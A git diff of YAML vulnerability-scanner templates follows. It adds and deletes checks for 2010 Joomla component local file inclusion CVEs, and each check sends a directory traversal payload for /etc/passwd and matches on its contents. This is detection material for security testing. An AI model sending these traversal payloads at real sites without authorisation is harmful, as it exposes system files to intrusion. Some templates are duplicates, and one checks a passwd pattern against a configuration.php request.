https://www.exploit-db.com/exploits/12084 + - https://www.cvedetails.com/cve/CVE-2010-1352 + tags: cve,cve2010,joomla,lfi + classification: + cve-id: CVE-2010-1352 +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1352.yaml b/poc/cve/cve-2010-1352.yaml new file mode 100644 index 0000000000..9304332380 --- /dev/null +++ b/poc/cve/cve-2010-1352.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1352 + +info: + name: Joomla! Component Juke Box 1.7 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the JOOFORGE Jutebox (com_jukebox) component 1.0 and 1.7 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12084 + - https://www.cvedetails.com/cve/CVE-2010-1352 + - http://secunia.com/advisories/39357 + - http://packetstormsecurity.org/1004-exploits/joomlajukebox-lfi.txt + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1352 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1471-1655.yaml b/poc/cve/cve-2010-1471-1655.yaml deleted file mode 100644 index 917e39b241..0000000000 --- a/poc/cve/cve-2010-1471-1655.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2010-1471 - -info: - name: Joomla! Component Address Book 1.5.0 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to a supported version. - reference: - - https://www.exploit-db.com/exploits/12170 - - https://www.cvedetails.com/cve/CVE-2010-1471 - tags: cve,cve2010,joomla,lfi - classification: - cve-id: CVE-2010-1471 - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1475.yaml b/poc/cve/cve-2010-1475.yaml deleted file mode 100644 index bb3e999cac..0000000000 --- a/poc/cve/cve-2010-1475.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2010-1475 - -info: - name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12147 - - https://www.cvedetails.com/cve/CVE-2010-1475 - - http://secunia.com/advisories/39285 - classification: - cve-id: CVE-2010-1475 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/24 diff --git a/poc/cve/cve-2010-1476.yaml b/poc/cve/cve-2010-1476.yaml deleted file mode 100644 index 156adbb01b..0000000000 --- a/poc/cve/cve-2010-1476.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1476 - -info: - name: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the view parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12150 - - https://www.cvedetails.com/cve/CVE-2010-1476 - - http://packetstormsecurity.org/1004-exploits/joomlaalphauserpoints-lfi.txt - - http://www.alphaplug.com/ - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1476 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1478.yaml b/poc/cve/cve-2010-1478.yaml deleted file mode 100644 index f9b8e77126..0000000000 --- a/poc/cve/cve-2010-1478.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2010-1478 - -info: - name: Joomla! Component Jfeedback 1.2 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the Ternaria Informatica Jfeedback! (com_jfeedback) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12145 - - https://www.cvedetails.com/cve/CVE-2010-1478 - - http://secunia.com/advisories/39262 - - http://web.archive.org/web/20210121195422/https://www.securityfocus.com/bid/39390/ - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1478 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1491-1692.yaml b/poc/cve/cve-2010-1491-1692.yaml new file mode 100644 index 0000000000..25b76d1d65 --- /dev/null +++ b/poc/cve/cve-2010-1491-1692.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1491 + +info: + name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12318 + - https://www.cvedetails.com/cve/CVE-2010-1491 + - http://packetstormsecurity.org/1004-exploits/joomlammsblog-lfi.txt + - http://web.archive.org/web/20140724060325/http://secunia.com/advisories/39533/ + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1491 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1491.yaml b/poc/cve/cve-2010-1491.yaml new file mode 100644 index 0000000000..bbda15aa41 --- /dev/null +++ b/poc/cve/cve-2010-1491.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1491 + +info: + name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12318 + - https://www.cvedetails.com/cve/CVE-2010-1491 + - http://packetstormsecurity.org/1004-exploits/joomlammsblog-lfi.txt + - http://secunia.com/advisories/39533 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1491 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/14 diff --git a/poc/cve/cve-2010-1601.yaml b/poc/cve/cve-2010-1601.yaml deleted file mode 100644 index 492c29e5d9..0000000000 --- a/poc/cve/cve-2010-1601.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1601 - -info: - name: Joomla! Component JA Comment - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the JA Comment (com_jacomment) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12236 - - https://www.cvedetails.com/cve/CVE-2010-1601 - - http://secunia.com/advisories/39472 - - http://packetstormsecurity.org/1004-exploits/joomlajacomment-lfi.txt - classification: - cve-id: CVE-2010-1601 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/24 diff --git a/poc/cve/cve-2010-1607.yaml b/poc/cve/cve-2010-1607.yaml deleted file mode 100644 index 1164637bf7..0000000000 --- a/poc/cve/cve-2010-1607.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1607 - -info: - name: Joomla! Component WMI 1.5.0 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface (aka WMI or com_wmi) component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12316 - - https://www.cvedetails.com/cve/CVE-2010-1607 - - http://web.archive.org/web/20210121195713/https://www.securityfocus.com/bid/39608/ - - http://secunia.com/advisories/39539 - classification: - cve-id: CVE-2010-1607 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/07 diff --git a/poc/cve/cve-2010-1658.yaml b/poc/cve/cve-2010-1658.yaml deleted file mode 100644 index aae12dd013..0000000000 --- a/poc/cve/cve-2010-1658.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1658 - -info: - name: Joomla! Component NoticeBoard 1.3 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12427 - - https://www.cvedetails.com/cve/CVE-2010-1658 - - http://www.vupen.com/english/advisories/2010/1007 - - http://secunia.com/advisories/39600 - classification: - cve-id: CVE-2010-1658 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/27 diff --git a/poc/cve/cve-2010-1714-1779.yaml b/poc/cve/cve-2010-1714-1779.yaml deleted file mode 100644 index 1dacc59f33..0000000000 --- a/poc/cve/cve-2010-1714-1779.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1714 - -info: - name: Joomla! Component Arcade Games 1.0 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the Arcade Games (com_arcadegames) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/12168 - - https://www.cvedetails.com/cve/CVE-2010-1714 - - http://packetstormsecurity.org/1004-exploits/joomlaarcadegames-lfi.txt - - http://secunia.com/advisories/39413 - classification: - cve-id: CVE-2010-1714 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/28 diff --git a/poc/cve/cve-2010-1715-1783.yaml b/poc/cve/cve-2010-1715-1783.yaml new file mode 100644 index 0000000000..fef2f5715f --- /dev/null +++ b/poc/cve/cve-2010-1715-1783.yaml @@ -0,0 +1,29 @@ +id: CVE-2010-1715 + +info: + name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12174 + - https://www.cvedetails.com/cve/CVE-2010-1715 + - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt + classification: + cve-id: CVE-2010-1715 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/cve/cve-2010-1715.yaml b/poc/cve/cve-2010-1715.yaml new file mode 100644 index 0000000000..54a29f73dd --- /dev/null +++ b/poc/cve/cve-2010-1715.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1715 + +info: + name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12174 + - https://www.cvedetails.com/cve/CVE-2010-1715 + - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt + - http://www.osvdb.org/63659 + classification: + cve-id: CVE-2010-1715 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/cve/cve-2010-1858.yaml b/poc/cve/cve-2010-1858.yaml deleted file mode 100644 index f25a5c5109..0000000000 --- a/poc/cve/cve-2010-1858.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2010-1858 - -info: - name: Joomla! Component SMEStorage - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/11853 - - https://www.cvedetails.com/cve/CVE-2010-1858 - - http://web.archive.org/web/20210121194940/https://www.securityfocus.com/bid/38911/ - - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-1858 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 -# Enhanced by mp on 2022/02/15 diff --git a/poc/cve/cve-2010-1875-1829.yaml b/poc/cve/cve-2010-1875-1829.yaml new file mode 100644 index 0000000000..4d2f868cdf --- /dev/null +++ b/poc/cve/cve-2010-1875-1829.yaml @@ -0,0 +1,28 @@ +id: CVE-2010-1875 +info: + name: Joomla! Component Property - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Real Estate Property (com_properties) component 3.1.22-03 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/11851 + - https://www.cvedetails.com/cve/CVE-2010-1875 + - http://secunia.com/advisories/39074 + - http://web.archive.org/web/20210121194939/https://www.securityfocus.com/bid/38912/ + classification: + cve-id: CVE-2010-1875 + tags: cve,cve2010,joomla,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/16 diff --git a/poc/cve/cve-2010-1955-1852.yaml b/poc/cve/cve-2010-1955-1852.yaml new file mode 100644 index 0000000000..14fdbe9ec3 --- /dev/null +++ b/poc/cve/cve-2010-1955-1852.yaml @@ -0,0 +1,30 @@ +id: CVE-2010-1955 + +info: + name: Joomla! Component Deluxe Blog Factory 1.1.2 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Deluxe Blog Factory (com_blogfactory) component 1.1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12238 + - https://www.cvedetails.com/cve/CVE-2010-1955 + - http://web.archive.org/web/20210121195552/https://www.securityfocus.com/bid/39508/ + - http://web.archive.org/web/20140803091440/http://secunia.com/advisories/39473/ + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1955 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 +# Enhanced by mp on 2022/02/15 diff --git a/poc/cve/cve-2010-1980-1878.yaml b/poc/cve/cve-2010-1980-1878.yaml new file mode 100644 index 0000000000..38ac6603e0 --- /dev/null +++ b/poc/cve/cve-2010-1980-1878.yaml @@ -0,0 +1,29 @@ +id: CVE-2010-1980 +info: + name: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in joomlaflickr.php in the Joomla Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12085 + - https://www.cvedetails.com/cve/CVE-2010-1980 + - http://packetstormsecurity.org/1004-exploits/joomlaflickr-lfi.txt + - http://www.exploit-db.com/exploits/12085 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1980 + tags: cve,cve2010,joomla,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-1981.yaml b/poc/cve/cve-2010-1981.yaml new file mode 100644 index 0000000000..00c934810c --- /dev/null +++ b/poc/cve/cve-2010-1981.yaml @@ -0,0 +1,34 @@ +id: CVE-2010-1981 + +info: + name: Joomla! Component Fabrik 2.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Fabrik (com_fabrik) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12087 + - https://www.cvedetails.com/cve/CVE-2010-1981 + - http://packetstormsecurity.org/1004-exploits/joomlafabrik-lfi.txt + - http://www.exploit-db.com/exploits/12087 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1981 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-1982-1886.yaml b/poc/cve/cve-2010-1982-1886.yaml new file mode 100644 index 0000000000..e9879732fb --- /dev/null +++ b/poc/cve/cve-2010-1982-1886.yaml @@ -0,0 +1,34 @@ +id: CVE-2010-1982 + +info: + name: Joomla! Component JA Voice 2.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the JA Voice (com_javoice) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12121 + - https://www.cvedetails.com/cve/CVE-2010-1982 + - http://web.archive.org/web/20140723233933/http://secunia.com/advisories/39202/ + - http://web.archive.org/web/20210121195400/https://www.securityfocus.com/bid/39343/ + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1982 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-1982.yaml b/poc/cve/cve-2010-1982.yaml new file mode 100644 index 0000000000..4f2ab61d04 --- /dev/null +++ b/poc/cve/cve-2010-1982.yaml @@ -0,0 +1,34 @@ +id: CVE-2010-1982 + +info: + name: Joomla! Component JA Voice 2.0 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the JA Voice (com_javoice) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12121 + - https://www.cvedetails.com/cve/CVE-2010-1982 + - http://secunia.com/advisories/39202 + - http://web.archive.org/web/20210121195400/https://www.securityfocus.com/bid/39343/ + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-1982 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-2122-1928.yaml b/poc/cve/cve-2010-2122-1928.yaml deleted file mode 100644 index 61089b0254..0000000000 --- a/poc/cve/cve-2010-2122-1928.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2010-2122 - -info: - name: Joomla! Component simpledownload 0.9.5 - Local File Disclosure - author: daffainfo - severity: high - description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to a supported version. - reference: - - https://www.exploit-db.com/exploits/12623 - - https://www.cvedetails.com/cve/CVE-2010-2122 - tags: cve,cve2010,joomla,lfi - classification: - cve-id: CVE-2010-2122 - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-2680.yaml b/poc/cve/cve-2010-2680.yaml deleted file mode 100644 index 702d3650ef..0000000000 --- a/poc/cve/cve-2010-2680.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2010-2680 - -info: - name: Joomla! Component jesectionfinder - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/14064 - - https://www.cvedetails.com/cve/CVE-2010-2680 - - http://packetstormsecurity.org/1006-exploits/joomlajesectionfinder-lfi.txt - - http://web.archive.org/web/20210121201853/https://www.securityfocus.com/bid/41163/ - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-2680 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-2682-1960.yaml b/poc/cve/cve-2010-2682-1960.yaml deleted file mode 100644 index c719e57407..0000000000 --- a/poc/cve/cve-2010-2682-1960.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2010-2682 - -info: - name: Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion - author: daffainfo - severity: high - description: A directory traversal vulnerability in the Realtyna Translator (com_realtyna) component 1.0.15 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to a supported version. - reference: - - https://www.exploit-db.com/exploits/14017 - - https://www.cvedetails.com/cve/CVE-2010-2682 - tags: cve,cve2010,joomla,lfi - classification: - cve-id: CVE-2010-2682 - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-2920-1983.yaml b/poc/cve/cve-2010-2920-1983.yaml new file mode 100644 index 0000000000..306165b0ac --- /dev/null +++ b/poc/cve/cve-2010-2920-1983.yaml @@ -0,0 +1,28 @@ +id: CVE-2010-2920 +info: + name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12120 + - https://www.cvedetails.com/cve/CVE-2010-2920 + - http://www.vupen.com/english/advisories/2010/1844 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-2920 + tags: cve,cve2010,joomla,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-2920.yaml b/poc/cve/cve-2010-2920.yaml new file mode 100644 index 0000000000..67f0851855 --- /dev/null +++ b/poc/cve/cve-2010-2920.yaml @@ -0,0 +1,33 @@ +id: CVE-2010-2920 + +info: + name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion + author: daffainfo + severity: high + description: A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php. + reference: + - https://www.exploit-db.com/exploits/12120 + - https://www.cvedetails.com/cve/CVE-2010-2920 + - http://www.vupen.com/english/advisories/2010/1844 + remediation: Upgrade to a supported version. + classification: + cve-id: CVE-2010-2920 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-3203-1987.yaml b/poc/cve/cve-2010-3203-1987.yaml deleted file mode 100644 index 82386d99c8..0000000000 --- a/poc/cve/cve-2010-3203-1987.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2010-3203 - -info: - name: Joomla! Component PicSell 1.0 - Arbitrary File Retrieval - author: daffainfo - severity: high - description: A directory traversal vulnerability in the PicSell (com_picsell) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dflink parameter in a prevsell dwnfree action to index.php. - reference: - - https://www.exploit-db.com/exploits/14845 - - https://www.cvedetails.com/cve/CVE-2010-3203 - - http://web.archive.org/web/20150105095919/http://secunia.com:80/advisories/41187/ - - http://www.exploit-db.com/exploits/14845 - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-3203 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/cve-2010-4617-2004.yaml b/poc/cve/cve-2010-4617-2004.yaml deleted file mode 100644 index 6b8918ae9b..0000000000 --- a/poc/cve/cve-2010-4617-2004.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2010-4617 - -info: - name: Joomla! Component JotLoader 2.2.1 - Local File Inclusion - author: daffainfo - severity: high - description: Directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/15791 - - https://www.cvedetails.com/cve/CVE-2010-4617 - tags: cve,cve2010,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jotloader§ion=../../../../../../../../../../../../../../etc/passwd%00" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git 